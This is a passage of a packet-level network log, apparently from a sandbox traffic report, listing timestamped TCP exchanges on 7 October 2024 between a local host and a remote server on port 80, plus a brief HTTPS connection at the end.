Oct 7, 2024 18:00:44.319765091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319770098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319783926 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319792032 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319797039 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.319811106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319833040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.319991112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320003033 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320014000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320038080 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320050001 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320142031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320153952 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320164919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320175886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320183992 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320188046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320194006 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320199966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320211887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320213079 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320230961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320236921 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320245028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320252895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320256948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320269108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320276022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320280075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320291996 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320302963 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320310116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320316076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320319891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320328951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320341110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320348024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320375919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320775032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320786953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320797920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320810080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320811987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320830107 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320836067 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320842981 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320854902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320861101 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320867062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320878983 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320879936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320890903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320902109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320904016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320914984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320925951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320929050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320938110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320946932 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320950985 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320960999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.320962906 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320976973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320988894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.320991039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.321000099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.321012020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.321017027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.321023941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.321034908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.321038008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.321063042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.321085930 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.321238041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.321249962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.321260929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.321271896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.321276903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.321295023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.321307898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.335931063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336041927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336054087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336091995 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336117983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.336154938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.336281061 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336322069 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.336420059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336431980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336443901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336468935 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.336472988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336484909 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336492062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.336497068 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336509943 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336522102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336524010 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.336534977 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336545944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.336554050 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.336569071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.336587906 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.390995979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.391009092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.391019106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.391028881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.391041040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.391052008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.391062975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.391092062 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.391140938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.402448893 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402479887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402497053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402508974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402520895 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402551889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.402576923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.402652025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402663946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402674913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402686119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402695894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402698040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.402709007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402714014 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.402743101 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.402767897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.402867079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402878046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402888060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.402908087 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.402926922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403003931 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403016090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403021097 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403031111 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403042078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403053045 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403054953 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403064013 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403072119 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403078079 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403098106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403125048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403125048 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403146029 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403156042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403172970 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403181076 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403184891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403197050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403208017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403208971 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403219938 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403219938 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403249979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403273106 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403445959 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403459072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403467894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403479099 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403490067 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403496027 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403501987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403512955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403520107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403532982 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403544903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403556108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403561115 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403567076 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403568983 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403600931 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403661966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403673887 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403686047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403697014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403702021 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403711081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403728008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403753996 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403764009 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403776884 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403788090 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403801918 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403805971 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403817892 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.403829098 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.403852940 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404017925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404031038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404041052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404052973 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404064894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404067993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404079914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404090881 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404090881 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404099941 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404103041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404114962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404124975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404134035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404139042 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404141903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404172897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404273987 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404285908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404297113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404309034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404314041 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404320955 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404331923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404340982 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404366970 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404501915 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404515028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404553890 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404620886 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404632092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404637098 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404642105 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404652119 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404661894 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404661894 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404675961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404690981 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404719114 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404764891 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404776096 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404793024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404803038 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404807091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404819012 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404825926 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404829979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404839039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404841900 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404854059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404865026 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404870033 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404877901 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404885054 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404890060 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404901028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404911041 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404917002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404922962 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404934883 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.404942989 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404957056 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.404979944 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.405086040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.405097961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.405126095 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.405138016 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.420238972 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420299053 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420331001 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420341969 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420378923 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.420417070 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.420459032 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420500040 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420511007 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420537949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.420552969 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.420694113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420705080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420716047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420742035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.420756102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.420777082 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420789003 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420799017 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420809031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420820951 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420825005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.420830965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.420850039 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.420862913 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.475320101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.475342989 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.475353956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.475440979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.475451946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.475464106 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.475461960 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.475476980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.475502968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.475528002 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.487853050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.487979889 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.487991095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.487997055 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.488069057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488121986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488133907 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488145113 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488157034 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488167048 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488193035 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488260031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488270998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488281965 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488293886 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488305092 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488316059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488321066 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488328934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488347054 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488348961 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488359928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488365889 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488394976 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488423109 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488435030 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488459110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488487005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488512993 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488524914 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488534927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488544941 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488557100 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.488559008 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488584042 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488598108 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.488678932 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.488706112 CEST	443	49862	13.107.246.64	192.168.2.5
